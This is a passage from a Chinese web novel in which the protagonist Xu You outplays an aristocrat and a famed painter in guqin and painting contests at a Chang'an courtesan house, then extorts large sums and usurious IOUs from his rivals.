“小子你别太猖狂,你可知道洛水姑娘琴棋双绝,她都甘拜下风,整个长安城,卢公子的琴艺,当堪称翘楚!” “就你这种歪理邪说,不知道尊卑有序的家伙,还真以为自己赢了?” “跳梁小丑,别连琴都没摸过。” 讥讽声不断,却又带着自傲和骄傲。 能让洛水甘拜下风,在长安城内并不多,卢云的技巧也堪称巅峰。 周围的宾客们,纷纷点头附和,看向许攸的目光,开始充斥怀疑。 在所有人的注视下,许攸放下手中酒杯,将右手举起,冲身后周龙打了个响指。 “老爷,还是照旧吗?” 周龙声音粗犷沙哑,不像是人的声音,仿佛是嗓子内塞了贴片,低沉沙哑,又带着冰冷气息。 面对周龙的询问,许攸终于有了其他表情。 “不用那么麻烦,把他的琴弄来,本老爷给你炫一波技巧。” 能在地府长留的,一般都是有大功德,或者大业力之人。 在这其中有不少精通琴棋书画,音律这些的,许攸也跟着他们学了不少。 他的脸上没有卢云那紧张,也没王奋那不甘,只有淡淡的平静。 手指略过琴弦时,一道急促的拨弦声,从他手中发出。 声音刺耳难听,就仿佛万马在耳边齐鸣,嘶哑的声音,急促回旋,不断冲击众人耳膜。 “这是什么鬼声音,我的耳朵!” “嘶,好难受,我感觉心口有点闷,这家伙会不会弹琴!” “洛水姑娘,不用比了,这家伙根本不会弹琴,快让他滚出去!” “对,滚出去!” 许攸不过刚起手,就见四周宾客恨不得杀了他模样。 见此,许攸也不着急,嘴角勾起一抹淡淡的笑容,右手再次波动琴弦。 这次不是战马齐鸣,而是刀兵不断交织,声音沉闷压抑,让人根本喘不过气。 洛水也听过不少琴音,对技艺的好坏,只要听一次,就能判断。 可她现在却无法判断,许攸这琴音到底是正常还是不正常。 余光扫过,她黛眉紧紧皱起。 在许攸身后,那四名寸步不离的守卫,居然拿着筷子在敲碗碟,每一次敲击,都蕴含某种特殊旋律。 “不对!” 洛水猛地抬起头,俏脸上血色尽退。 “大家都不要多言,若是承受不住的,可先行退出去!” “许相公所弹奏的曲子,非凡人所能触及,各位不可勉强!” 在场咒骂声陡然消失,众人看洛水的表情,就仿佛在看个傻子。 “各位,洛水并未骗你等,此去……” 洛水本打算再劝两句,却看到许攸淡漠的摇头,便知道自己劝说太多,也没任何作用。 琴音在她落座瞬间,从刚刚杂乱,变得急促高昂。 一声声短暂急促的声音,就如同弓弦拉动,漫天箭雨随时都可以抵达。 只不过是呼吸间,有人额头上冒出汗珠,有人则是口干舌燥,不停吞咽口水。 还有定力差的,此刻已经开始双腿打摆子。 在他们眼前,不再是醉月花坊,而是漫天黄沙席卷。 沙尘中,一袭白袍随风而动。 白袍、银枪、白马,一人一骑,面对千军万马。 无论是谁,在这个时候,都屏住呼吸,静静的等待。 终于,人影动了,琴音在此刻也变得急促,战阵变化莫测,局势也变得诡谲。 可那道人影却始终未曾变化,就仿佛是天神,在战阵中七进七出。 快!太快了! 洛水瞪大眼睛,想要看清许攸的动作,可她注定要失望。 许攸左手捏住琴弦,右手三指扣动,每一次撩拨,众人的神经都随之一颤。 角落内准备讥笑许攸的王奋。也皱起眉,他感觉到自身似乎被什么包围,可惜他对音律不了解。 但随着时间推移,他发现事情似乎不死他想的那么简单。 周围宾客们脸上表情不断变化,从惊恐到紧张,从害怕到愤怒,他们的情绪随着琴音变化,被许攸完美引导。 看似杂乱的琴音,就如同大网,将所有人笼罩。 没有卢云弹奏时候的急促,但危机感更强,不但有危机感,还有爽快和刺激。 众人眼底出现一道身影,是那被血染红的白袍。 嘭! 琴音突然中断,沉浸在琴声中的众人,也猛地惊醒。 洛水鬓角早已被汗水打湿,俏脸没有半点血色,一双眸子瞪圆,杏口微张,眼底的兴奋以肉眼可见。 周围早已是死一般的寂静,众人瞠目结舌的看着许攸。 如果说卢云演奏的是十面埋伏,那么许攸演奏的就是一场战斗。 入阵,冲阵,破阵,凯旋。 这已经不是琴艺,这是将感情融入到音律,随手拨动琴弦,都能引动心弦。 看着桌上断掉的琴弦,众人内心暗道可惜。 洛水手里的秀帕滑落,因为长时间保持一个姿势,她险些栽倒。 “许……许相公,要不要小女子重新为你挑选一张琴,你还没演奏完……” 什么时候名满天下的洛水,居然会主动低头,连话都说不周全了? 轰! 人群彻底炸开锅。 他们心爱的女神,居然跪坐在许攸面前,一脸祈求模样。 仔细回想,众人你看看我,我看看你,都是面面相觑。 他们比洛水好不到哪去,一个个内心深处,也巴不得琴声继续。 第一百一十二章 穿衣服不好画 琴弦会断,这在许攸的预料之中。 面对众人崇拜的眼神,他的神态淡定,并未因此而有任何自得的心思。 “王公子,现在还有必要,继续下去吗?” “或者说你现在就兑现,你刚才答应的赌注?” 许攸没嘲讽,也没继续挑衅,一副淡然的模样。 平淡的话语,不亚于惊雷,狠狠劈在王奋的身上。 周围众人默然,胜负已经分出。 先前他们听卢云的琴声,虽然有感触,但体验感并不强,可到了许攸演奏时候,若不是琴弦崩断,众人还要沉浸在最后破阵凯旋的喜悦。 “我等生为男儿,苟利国家生死 以!” “诸位可有一同随我参军,也效仿那白袍将军,在敌阵中杀个七进七出?” “某愿意,天天吃酒真没意思,倒不如舍了这二两肉,在战场上快意来的畅快!” 许攸表情凝固,满脑子都是黑线。 他演奏的是秦王破阵乐,只演奏了三分之一,还是单人演奏。 他没想到自己演奏的曲子,居然成了这些愤青的借口,打算去入伍。 “许相公,不知道这曲子可有名字?” 许攸没心思考虑其他,当务之急就是把功德给抢救回来。 “秦王破阵乐。” 场中一片死寂,落针可辩。 “有什么问题吗?秦王扫寰宇,奠定大唐康庄盛世,此曲就是在诉说他的事迹。” 众人的目光变得不一样,齐刷刷将脑袋低沉下去。 难怪他们在音律上面,比不过别人。 他们自以为音律,不过是个人情感,谈情说爱的手段,未曾想过还有如此一面。 以琴来说事,以音律来说人。 王奋的脸涨成了紫红色,犹如一块猪肝。 他根本没想到,许攸这曲子,居然是冲着太祖去的! 那可是大唐开国的皇帝,威震九州的存在,哪怕是世家贵族,见到都要低头,客客气气对待! 但现在让他承认,他输了,他可做不到! 他是王氏嫡系,父亲是刑部尚书,怎么能被个贱民如此羞辱! 怒火让人失去理智,王奋直起身,阴沉着脸走到人前。 “你说你赢了,就是你赢了?” “你既然琴弦以断,那就代表你学艺不精,连弹琴都不会,还敢说你自己赢定了?” “本公子现在给你个机会,只要你认输,纳闷本公子还能再陪你玩一次,若是不然的话……哼!” 众人都惊了,见过无耻的,但无耻到不要脸,他们还是第一次见。 王奋已经不是在强词夺理,根本就是耍赖,仗着自己身份,故意不认输,还打算强行开第三关。 不少人都暗暗露出鄙夷,以前他们巴结王奋,那都是因为对方身份。 现在王奋是虎落平阳,只能被鄙夷。 许攸捏起下巴,他算是发现,这王奋可能是他失踪多年的儿子,无耻性格和他如出一辙。 “罢了罢了,既然王公子说不算数,那便不算数!” “三关,你我各赢一次,我们继续玩!” 许攸压根不着急,他有的是时间,至于输赢他也不在意。 不过是个女人,今晚睡不到,那就明晚睡。 他就不相信,买个花魁还能那么难。 “洛水姑娘,这第三题还是你来出吧。” 洛水深深的看了眼许攸,那眼底的崇拜,几乎要化作实质。 其实不仅是洛水,整个醉月花坊内的姑娘们,都很不扑到许攸怀里。 不做作,有钱,年轻,言语风趣诙谐,会谈琴,会撩骚,这让的男人,无论什么女人,都不会拒绝。 洛水看着身边好姐妹们,无奈皱起眉,再次冲着许攸福了下身。 “许相公,这第三关,就以画来做定夺。” 这次洛水干脆不用王奋开口。 “王公子擅长丹青,最喜好画人物,咱们便以此为题,若是其他人有兴趣,也可参与。” “无论是小女子,还是其他诸位姐妹,只要各位郎君有需求,都可以让其帮助你完成画作。” 呦呵! 许攸眼前一亮,没想到还有福利! 他一个老干部,怎么可能经得住这种考验? 在众人目光之中,许攸清了清嗓子。 “洛书姑娘,本老爷有一句话,不知道当讲不当讲。” 洛水下意识觉得,许攸这话可能不是好话,但内心深处,又觉得在这种昌河,许攸至少要点面子。 她高估了许攸的道德标准,也低估了许攸的灵活底线。 “许相公有何疑虑,都可以直言,我等姐妹虽然不能帮助各位亲手作画,但当个参照,也是可以的。” 许攸了然,和他想的一样,这纯纯的送福利。 当即他很不客气的伸出手,一把搂住洛水杨柳细腰。 在场众人脑袋一片空白,若不是许攸之前的举动和言论,对他们冲击力够呛,现在都有人把鞋子脱下来,丢他脸上。 “许相公,自重!” 洛水也慌了神,想要逃离许攸的怀抱,却发现根本躲不开。 “洛水姑娘你跑什么?不是你说给本老爷当模特的吗?” “走走走,咱们去房间里面画,你别穿衣服,本老爷就喜欢不画不穿衣服的。” 洛水俏脸以肉眼可见速度,从雪白变为绯红,连两只耳朵也快速变红。 周围宾客都傻了,随后又纷纷反应过来。 “哎呀,许公子说的对,我也喜好画美人图,尤其是那不穿衣服的!” “哪位姐姐可以助小弟一臂之力,小弟带了五百两银子。” 场面陷入混乱,许多人开始见缝插针,至于插的对不对,他们可不管。 许攸计谋还是没得逞,被洛水连掐两次后,他只能老老实实松开手。 “穿衣服就穿衣服,你掐本老爷做什么?” 洛水气得想哭,她是真怕了许攸。 偏偏这次赌约,还是王亮发起,而许攸是受害人。 在不知道许攸身份前提下,洛水并不敢贸然开罪,只能歉意的笑笑,将身形拉的更远。 “许相公,您要准备什么颜料?” “本次比试,每人只有一个时辰,若是不能成画,那小女子也无能为力。” 先前嬉皮笑脸的众人,听到这话,也一个个露出认真模样。 谁也不想在心爱人面前丢人,更不想丢面子。 “一个时辰?” “本老爷快枪手,一炷香就搞定!” 第一百一十三章 在座的都是垃圾 众人是彻底惊了,他们很佩服许攸,居然如此不要脸。 洛水更是捂着俏脸,不敢直视许攸,她就怕眼前的男人,那张嘴里再吐出什么惊世骇俗的话语。 “许相公,您就快动手,莫让人笑话。” 许攸根本不着急,比起丹青,他更擅长速写,而速写既然有速,那肯定是快。 他再次认真的打量洛水,依旧是那不要脸姿态,腆着脸开口询问。 “洛水姑娘,真不去房间?” “你要是不介意,在这里也行,最好把群裳脱了,本老爷给你来个人体素描。” 哦吼! 四周的宾客,此时化作饿狼,一个个跟着起哄。 “洛水姑娘,许公子既然要展示高超画技,你就不如从了他,也让我等开开眼界。” “就是,我等从未见过,说不定今日许公子的技法,也如同他琴艺一般超绝,你难道不想看吗?” 这话说到了洛水心坎,她自问博学多才,在琴棋书画上,更是堪称巅峰。 可如今面对许攸,却不知道如何言语。 “诸位郎君,为了表示公正,此次评审则是由黄师道担任。” 刚才还热闹非凡的场面,在这话出现后,彻底安静下去。 许攸诧异的看向周围众人,他一不知道黄师道是什么人,二也不知道为什么画画也能成为门槛。 对比许攸的诧异和迷茫,王奋则是长舒一口气。 无人知晓,黄师道其实是他的恩师,他早年就曾拜黄师道为师,学习君子六艺。 至于画美人图,对王奋而言是再熟悉不过。 当今天子就是美女,不少文人骚客都喜欢画上两幅,以作为珍藏。 王奋自己家中,就有两幅,其中一幅还是黄师道亲手所绘。 如此简单的题目,今日他若是再赢不了许攸,那可真不如一头撞死。 “洛水姑娘,不用一个时辰那么长,此题对于本工资而言,不过是信手拈来。” 说到此处,王奋轻蔑的瞥了眼许攸。 “本公子不是狂人,就以两炷香为限,也免得有些人,不学无术故意哗众取宠。” “你说是不是?” 这话分明是冲着许攸而来。 王奋那些跟班,一个个和打了鸡血似的,每个人脸上都洋溢起鄙夷。 “这小子还说一炷香,他知不知道美人图要多少种颜料,要多少笔墨,该不会是什么都不懂,故意在这装腔作势吧?” “看看他这姿态,别人都把画布展开了,他都没动作,估计连画笔是什么,怕是都不知道!” 许多宾客也发现了,许攸一直优哉游哉的,虽然桌上也摆放了颜料和画布,但是他却没动。 相比其他的众人已经在开始尝试勾勒轮廓,无论技术如何,都没许攸这么闲。 众人也是抱着玩闹心思,大部分还是在看热闹。 以王奋的才气和家世,如今又有黄师道作为评审,很难有人能够在画作上,超越王奋。 在他们看来,这场比试或许就是洛水在故意偏袒王奋。 许攸脸上露出古怪笑容,看着王奋那得意洋洋的姿态,忍不住为自己居然和这种傻子较劲而不值得。 “王大公子,你磨磨唧唧嘴炮半天,你画布怎么还是白的?” “你该不会是看到洛水姑娘穿衣服,就不会画了吧?” “虽然我也想看不穿衣服的,可人家不愿意,那我只能勉为其难,只是不知道你为什么还不动笔,是故意让我吗?” 许攸的嘴,不但毒辣,还恶心。 众人听到他说话,就和吃了苍蝇一样的难受。 王奋正要开口,却忽然觉得眼前许攸桌上画布,似乎变得不同,仔细看上去,居然有了人的轮廓。 “看什么?不会画美女图,难道连小鸡啄米都不会吗?” “就你这样子,你要是我儿子,我早就给你弄水缸淹死。” 许攸很淡定,一边抬手动作,一边火力全开,嘴上功夫完全不落下。 整个花坊内,就只有他一人的声音。 不到盏茶的时间,他将手里的画笔落下,无聊的伸了个懒腰。 “就这速度,老太太裹脚都嫌你慢。” “洛水姑娘,计划有变,今晚咱们一诉衷肠,如何?” 众人和看疯子一样,傻傻看向许攸。 刚才还是放嘴炮,现在许攸居然开始调戏洛水。 此刻香才燃了大半,不说一个时辰,就是一炷香都没过。 王奋脸色漆黑如同墨染,他先恶狠狠瞪了许攸一眼,又看向他面前的画布。 许攸面前的画布花花绿绿,看不出任何的样貌,就仿佛是孩童随手涂鸦,说丑陋都是夸赞。 “哈哈哈哈!” “你当真要笑死我,这就是你的画?” 王奋指着许攸面前的画布,冲四周众人大叫。 “诸位可看好了,这位许公子说他已经作好画,尔等看看他的佳作!” 众人伸头看去,只见到一张画布上,全都是花花绿绿的色彩,压根看不到人影。 那样子说是颜料打翻,把画布染成这模样的,他们也信! “原来许公子不会作画,这下可完犊子了!” “啧啧,这绘画技术真高超,莫不是他以为这样,就能在我等中,让洛水姑娘倾心吧?” “我看他就是故意如此,太折辱我们了!” 有人哄笑,有人可惜,还有人气愤。 众人下意识的以为,许攸是在故意如此,故意哗众取宠。 面对众人的嘲讽,许攸没半点的表情,淡然的将画布举起,随后将上面一层给撕开。 画布分两侧,上面一层全都是各色颜料,而下面的一层,才是他真正的作品。 此次他所用的是泼墨法,但不同传统泼墨,采用素描和泼墨双结合,最终又加了水印扩散,这才导致上面的蒙层仿佛是颜料打翻。 在众人讥讽的视线下,画布抖动,一杯烈酒被许攸含在口中,猛烈喷出。 随后,画布被他就这么施施然,挂在展示的木架上。 “本老爷只有一句话。” “在座的各位,不是本老爷羞辱你们,你们全都是垃圾!” 许攸邪魅一笑,冲着王奋等人,无情竖起中指。 “王大少爷,本老爷画做好了,现在轮到你开始表演。” “您请!” 第一百一十四章 打了小的,还有老的 “装神弄鬼!” 王奋有些慌了,低声骂了句,急忙低头去握笔架上的画笔。 他刚才嘲讽那么久,许攸一直没搭话,现在可不同。 “王大少爷,你爹是刑部尚书,那你这位大才子,肯定有点特殊能力。” “哎哟,你这画的姿势不对,洛水姑娘含羞待放,怎么到你手里,就成了牛粪?” “你这姿势不对,你老师就这么教你的?” “颜料不对,线条错了……” 许攸嘴开始不毒,但话语却没停下。 到最后,他干脆搬了张椅子,就坐在王奋面前点评。 “乱了!你心乱了!” 许攸翘着二郎腿,一手提着酒壶,一手拿着搞点,时不时往嘴里塞一口。 “王大公子,时间要到了。” “男人不能说不行,但你好像不是男人,难不成你是太监?” 周围的宾客们,目光变得复杂。 任凭谁都能看出来,许攸是有恃无恐,可他们不知道,为什么会这样。 如今所有人的希望,都在王奋的身上,希望他能代替在场被许攸羞辱的众人,来一次狠狠打脸。 檀香燃尽,烟雾缭绕间,洛水搬来一张琴,端坐在不远处,玉手拨动琴弦。 琴音缥缈淡雅,给这气氛无形增添了一抹沉重。 时间还在流逝,王奋握着笔的手,已经开始颤抖,手中画笔更是不停抖动。 啪叽。 “哎呀,你这笔……” 许攸长长叹息一声,就仿佛是他在画。 看到桌上被拉长的斜印,王奋脸色发白,只觉得脑子内一片空白。 画像只花了不到十分之一,哪怕是这样,他也不知道如何画。 此次他选的也是洛水,如今洛水坐在琴桌后,烟雾缭绕升腾,她周身都是淡淡烟雾。 配上那清澈淡雅的琴声,就似乎她是天上仙子,本就不是凡间女子般。 高雅,圣洁…… 看着洛水绝美容颜,王奋心更乱,手中画笔不知不觉,越拉越长。 反观旁边的许攸,一直仿佛是个局外人,一杯喝完再来一杯,甚至还对着洛水的琴艺进行点评。 这份从容和王奋的紧张,形成了鲜明对比,也成为压垮王奋的一块巨石。 “该死!” “你该死!” 王奋低吼一声,手中画笔“啪”的一下,被他丢在地上。 此刻他已经没了想法,脑海内全是许攸嚣张的身影,只要闭上眼,许攸就会出现在他脑海。 一想到那张可恶嘴脸,贴着脸问会不会画,他便想要杀人! “不!我绝对不会输!” 王奋猛地想到了主意,阴郁的双眸睁开,眼角余光扫向许攸,阴恻恻的笑出声。 这次,他没继续画,而是闭目开始养神。 周围的宾客,一时间也陷入到迷茫。 都这个时候,香都要燃尽了,眼前的王奋居然开始入定,难不成打算意念成画? 片刻时间过去,王奋突然睁开眼,嘴角勾起得意笑容,缓缓将上面一侧画布给扯开。 “我的画,成了!” 许攸一愣,作为新时代的楷模,他一直觉得自己道德灵活,底线自带伸缩,已经很了不起,没想到居然有人青出于蓝,差点给他拍死在沙滩上。 王奋则是带着胜利者的笑容,轻蔑看向许攸。 比试就是两人而起,其他人压根没心思画画,看到两人结束,洛水也很识趣的停下手中琴弦。 “两位有请,请将画布移置画架上。” 洛水身形款款,莲步轻抬,一步步走到两人身侧,冲两人微微一笑。 王奋将自己的画作取出,画布上只有粗略人形,甚至连多余色彩都没。 画布被悬挂上后,王奋仰头淡定的解释。 “洛水姑娘在本公子眼底,乃是天上谪仙,不足为凡间外物形容,此乃真正 国色天香!” “奈何凡俗颜料笔墨,无法勾勒出分毫,本公子只是稍微动了几笔,就觉得心力憔悴,再也无法继续,可惜,可叹!” 卧槽! 这个逼…… 许攸瞪大双眼,这真不愧是长安城有名纨绔,明明画不出来,结果一句话,居然惹得在场众人叫好。 “好!王公子说的好,洛水姑娘乃人间绝色,怎么能用凡俗笔墨来绘,这是在羞辱洛水姑娘!” “只是看着身影,我便能想到,画作上的人是有多美!” “绝世佳作,真正的?佳作!” 王奋的那些小弟,更是发了疯一般的吹嘘。 “有些人自认为自己饱读诗书,却连真正什么是仙女都不知道,妄图用如此手段,来折辱洛水姑娘。” “此獠用心险恶,当诛!” 在众人的议论中,许攸成了十恶不赦的罪人,罪该万死的那种。 “有人就是哗众取宠,随便打翻颜料,就以为是在作画,简直可笑!” “也别让黄大师前来点评,不如我等自己点评,省的被黄大师笑话!” 黄师道有画圣的美名,在场的众人也不是都傻子,知道自己底气。 王奋嘴角勾起冷笑,他就是吃定了许攸,这才故意如此。 只要他不承认,那么他画的就是仙女,所有人都不会否认,这就足够他赢下! 洛水眸子内浮现出犹豫,她能看出王奋的手段,可偏偏无法道出实情。 说王奋傻,但他确实画了,而且技术很厉害,只是几笔就勾勒出人形,说没画,那也没毛病。 画卷到最后,也只有个人形,并未有其他继续举动。 无奈之下,洛水只能咬紧银牙,将黄师道给请出。 黄师道身穿一身道袍,脚踩七星履,面容红润,精气神十足。 来到场中后,他先环视一圈,又将视线落到了王奋身上。 “此画乃朦胧画法,诸位看不透,也是自然!” 黄师道是王奋的师父,平日里享受的是王氏的供奉和香火,在这个时候,自然不会丢王奋的脸。 只见到他抬起手,将桌上的画笔给拾起,简单在画布上勾勒两笔,刚才还是空的轮廓,逐渐呈现真实样貌。 “此法乃老夫所传,可惜还未补全,今日让诸位见笑。” 黄师道说着话,手中画笔不停,笔走龙蛇间,洛水的人影愈发清晰。 紧接着,他突然放下手中画笔,将颜料给端起,朝着已经完成的化作上泼去。 “老夫此法名叫泼墨法!” “诸位可看看如何!” 第一百一十五章 许老爷要杀人了 除了许攸之外,众人呼吸屏住,生怕大点呼吸,都会影响到黄师道的创作。 人群中的王奋捏紧拳头,丝毫不掩饰自己眼底的轻蔑和讥讽。 这局,他赢定了! 他仿佛能看到,许攸跪在他面前,痛哭流涕,求饶的场面。 万众瞩目之中,画布上逐渐出现变化,颜料和墨汁融合,相互交融,又相互变化,将色彩扩散到画布上。 一息,两息,三星息…… 盏茶时间过去,画布上的颜色彻底成形,唯一美中不足的,就是被王奋拉长的那一笔。 不过在黄师道的手里,这一笔并非是破坏,反而成了缺陷美。 “月有阴晴圆缺,洛水姑娘的美,就连老夫都忍不住赞叹。” “奋儿,日后且不可胡闹,你学艺未精,不可拿此拙劣技艺招摇!” 黄师道话里话外,都是老子牛逼,老子徒弟牛逼。 作为画圣,他有这种资本,如今独创的画法,更是让他即将名扬千里。 可惜…… 王奋嘴角勾起的弧度愈发明显,他要的就是这种效果。 他比不过,难不成自己师父也比不过? “老师您说的是,是我愚昧。” “今日见到洛水姑娘仙颜,忘记了您的教诲,回去之后我必定反思悔过,每日作上十幅,刻苦磨练画技!” “好好好,好徒儿,快快起身,莫让人看了笑话!” 两人一唱一和,让许攸都差点没笑出来。 “我说哥们,你谁啊?” “搁着和本老爷装逼拽斯文,就你这点技术水平,去荆州教小孩子,都要被嫌弃。” “老而不死是为贼,就你这种叼毛,早晚要被人弄死的。” 许攸吊儿郎当的掏掏耳朵,随后看向身侧的洛水。 “洛水姑娘,还比不比了?” “本老爷给他点面子,要是王大公子觉得这位老狗能帮他赢,那就算他的画作!” “要是不能的话……” 说到此处,许攸冷哼一声。 “今日本老爷就要为民除害,先斩了这老狗!” 轰隆! 所有人眼睛瞪圆,仿佛见到鬼一般! 许攸狂妄自大,丝毫不给黄师道面子,更是把他称呼为老狗! 黄师道也怒了,老脸涨成紫红色,阴沉着双眸,死死盯着许攸。 “看来这位公子,有更加惊世……” 他的话说到一半,就彻底卡主。 许攸慢条斯理,将自己画作上第二层蒙皮给撕开,留下真正的画作。 众人也彻底呆住,不少人开始揉眼睛。 眼前的是画? 是画! 画法不同其他,并非用墨汁来勾勒,而是浅浅的线条。 画中人物惟妙惟肖,不论从哪个方向角度看,都能看到对方微笑的姿态。 更绝妙的是那身上的群裳! “老天,这裙子怎么和洛水姑娘身上的一模一样?” “不对,不是一样的,你们看!” “这是如何做到,居然可以改变色彩,连笑容都不变,从任何角度看,洛水姑娘都对着我笑。” 白天看到这幅画,只会惊为天人。 但晚上看到,那就有点恐怖! “你们看,旁边还有字!” 众人定睛看去,只看到一行蝇头大小字迹,跃然出现在画布至上。 “北方有佳人,绝世而独立。” “一顾倾人城,再顾倾人国。” “宁不知倾城与倾国?” “佳人难再得!” 整个花坊陷入死寂,无人知道说什么,没有先前的讥讽,也没有议论,只有淡淡的吸气声。 所有人的脸上,浮现出不可思议,茫然和恐惧。 如果说黄师道的画,是在画人,那这幅画才是真正的仙! 许攸这么一幅画,不但将洛水的美勾勒,最后的一首小诗,更是将她夸成了仙女。 一笑倾城,再笑倾国。 天下间何人有如此容貌? 洛水那双美眸,此刻异彩连连,粉嫩脸颊因为羞涩,而变成了绯红。 饶是她见多识广,见到许攸如此赤裸裸的表白,都忍不住芳心萌动。 眼前这个男人,给她的惊喜太多,也实在太大! 琴艺可堪称大师,一首秦王破阵乐,更是前无古人,后无来者。 满腹才学比之大儒,也丝毫不逞让! 如今这画技,更是震的当今画圣,无法言语,甚至连站都站不稳。 若是没有自信,怎么会如此淡定,即便遇到画圣亲临,都能吃吃喝喝,谈笑风生? 这是将才艺磨练到了巅峰,以成大家,故此根本不屑和世俗去争,去抢! 众人也反应过来,许攸从开始都没把这件事当回事,完全就是过家家的心态。 哪怕是第二局输,也是他自己认输。 反观现在场面,变得很难堪! 黄师道乃画圣,翰林院承认的画圣,画技巅峰的存在。 戏谑,嘲讽,鄙夷,目光全都汇聚在黄师道和王奋身上。 “老狗,你不是很牛,继续画!” “今日你若是不画,那么本老爷就要用狗头铡,将你的脑袋斩去!” “你也别怕,到了阎王爷那,你报一声本老爷名讳,阎王爷也会好好招待你!” 黄师道被看的心里发毛,下意识后退一步,衣袖猛甩。 “黄口小儿,岂知天高地厚!” “今日老夫身体不适,适才失手,才会……” 他话还没说完,就被许攸打断。 “你的意思,是你画的?” 这话一出,黄师道脸色立刻大变! 黄师道来的时候,就听到王奋身边小厮求援,故此才在最后登台。 如今他要是承认,不但王奋要倒霉,他的名誉也彻底扫地。 “本老爷其实很爱才,但是你这老狗仗着才学不作为,那么就得享受下恶名的后果!” “明日起,整个长安城都会知道,画圣黄师道沽名钓誉,为了权贵,故意欺压良民,妄为画圣名头!” “至于你,刑部尚书之子争风买醉不得,却又无胆承受赌约后果。” “你们觉得说书人口中这段佳话,会不会名扬天下?” 毒! 许攸的毒辣,可不止是嘴皮子,还有行动。 “你们可别威胁本老爷,今日本老爷心情很不爽,火气很大!” “许攸,你敢!” 王奋彻底怒了,双眼赤红,指着许攸怒骂。 “你若是敢乱言,我让我爹灭你九族!” “是么?” 许攸淡然的举起手中金牌,冷笑一声。 “刑部尚书之子,公然袭击朝廷命官,威胁灭其九族,意欲谋反,按律当杀!” “杀!” 第一百一十六章 高利贷中贷 许攸一句话,整个花坊内便彻底乱套。 所有人都感觉到,周身空气似乎凝固,没有人敢质疑,怀疑他会不会真的杀人。 王奋也怕了,他怕的不是许攸,而是自己脸面。 王氏一脉传承至今,在朝中权势错综复杂,若是因为他把王氏脸面丢尽,哪怕今日许攸不杀他,他也要死! 这个后果他无法承担,也承担不起。 终于,在许攸眼神逼视下,他彻底崩溃,哭嚎着瘫坐到地上。 “我……输了……” 只有三个字,却抽干了他全身的力气。 没人敢嘲笑王奋,在这个时候,认输才是明智的。 王奋脑袋低垂,没了先前的狂傲,也没了世家子的骄纵,只剩下羞愤。 “赌约的事,可否留有余地?” 许攸嘴角勾起,他并不想直接杀了王奋,他的目标始终是卢氏。 这群王八蛋,居然害的他功德差点丢了! “王大公子开金口,我这小民,怎么能不给你面子?” “你说吧,你想要如何?” 许攸起身坐到原来位置,吊儿郎当的翘起二郎腿,依旧是一手酒壶,一手糕点。 先前有人觉得他是在装,现在他这姿态,倒是给人一种洒脱的感觉。 面对王奋的求饶,他只是轻瞥一眼,便不再继续看。 “我可没那种癖好,至于你有没有那种想法,和我没有关系。” “只是你自己装逼不成,送到本老爷手上,若是不给你吃点苦头,你怕是不知道马王爷有几只眼!” 说到这里,许攸将手里酒壶放下,右手拇指和食指连连搓动。 “既然你觉得你脸皮值钱,那就说个数,只要我开心,未尝不可以免了这赌约。” 众人都瞪大眼,自古赌约输了赖账的不知道凡几,但赢下赌约,却要用钱卖掉,这却是头一次。 不过众人设身处地的想想,都下意识以为,许攸是害怕王奋的背景。 刑部尚书之子,王氏嫡系,这两个生分无论哪一个,都是位高权重,高人一等的存在。 王奋也愣了片刻,他反应倒是很快,颤颤巍巍竖起一根手指。 “一万两,你看如何?” “一万两?” 许攸一脸你逗我的表情,右手举起打了个响指。 周龙默不作声,从怀里掏出几张银票,啪的一下甩在桌上。 “这里有十万两,我买你十次,你开始表演吧!” 花坊内再次陷入安静。 出来喝花酒,哪怕是洛水今日出阁,也没有人带着十万两招摇。 这已经不是招摇,这是明摆着告诉人,自己是个傻子。 三百两就可以在长安城朱雀大姐买个三进三出的大宅子,十万两能买下半条街。 就算是朝中大员,一年俸禄也不过千两,十万两可是他们几十年的俸禄。 王奋眼睛瞪圆,他感觉到自己要被敲诈,可没想到许攸这么狂。 “那你要多少?” “一口价,五万两黄金!” 嘶! 所有人都倒吸了一口冷气。 大唐刚建国没多少年,金价和银子的比例,一直处于一比五的比例上。 这就意味着,王奋得拿出至少二十五万两白银! 王奋人都懵了,他很怀疑自己听错。 “你说什么?” “五万两?你……你莫不是疯了?” “不不不,我可没疯,本老爷可没逼着你掏钱,你也可以选择履行赌约。” 许攸笑眯眯的看向王奋。 “不过这只是你一人的价钱,至于他……” 众人目光之下,许攸露出森白牙齿,一双眸子内冷光四射。 “一百万两!” 此话一出,花坊内全都陷入呆滞。 卢氏很有钱,这点毋庸置疑,可一百万两买条命,他们绝对不会做。 卢云惊愕的瞪大双眼,他已经做好准备被敲诈,却没想到许攸如此疯狂。 “许公子,做人留一线,我卢氏可不是什么软柿子!” “一万两黄金,就当我们交个朋友!” 阴沉的话语在大堂内响起,再次惊得众人合不拢嘴。 一万两黄金,至少是五万两白银,卢云这个诚意足够! 换做是在场其他任何人,都恨不得立刻答应下来。 “不不不,我只是给你个选择的机会,并不不是逼着你选!” “一百万两白银,一分不少,七日之内送到本老爷府邸。” “倘若你不送到,本老爷自会上门去取,你可以相信,到了那时候,就不是你的名声如此简单!” 说到这里,许攸眯起眼,将脑袋侧过,看向王奋。 “王大公子,你也一样,五万两黄金,你爱给不给!” “别说你爹是刑部尚书,就是当朝首辅,今日也得乖乖掏钱。” 王奋的眼睛内阴沉的快滴出墨汁。 “我爹乃是刑部尚书,我乃是王氏嫡系!” 他以为自己的身份,可以给许攸一点点压迫。 “然后呢?” 许攸掏了掏耳朵,轻描淡写的反问。 “是本老爷的刀不快,还是你脖子很硬?” “不给钱,那就是袭击朝廷命官,威胁本老爷,蔑视圣威,你王氏一脉怕是要九族消消乐。” 王奋被气得要死,说也说不过,骂也骂不过,身份更是无用。 他发现面前的许攸,才是真正无赖,而他自己,就是个小丑。 “我今日没带那么多的银钱。” “好办,笔墨纸砚伺候!” 许攸露出奸诈笑容。 “本老爷有个规矩,九出十三……不好意思,说错了!” “本老爷的规矩很简单,七日内免息,七日之后每多一日不给,一万两收利息百两。” “如果一月不还,那就是一万三千四百八十两!” “来来来,写借条,咱们亲兄弟,明算账!” 文房四宝落在桌上,王奋的眼底迸发出怨毒和愤恨。 羞辱,赤裸裸的羞辱。 “好,我写!” 不就是钱,他王氏有的是钱,等到他回去查明眼前狂贼身份,定要让此贼死无葬身之地! 笔走龙蛇之间,他完全没注意到,许攸所说的话,可不单单利滚利那么简单! “借条在这里,本公子等着你来我王府取!” 同样,卢云也咬牙不甘的写下欠条,不过他只有三日时间。 “许公子,卢某就在府上,希望你准时过来取钱!” 卢云阴恻恻一笑,起身甩袖而去。 第一百一十七章 赢下花魁所有权 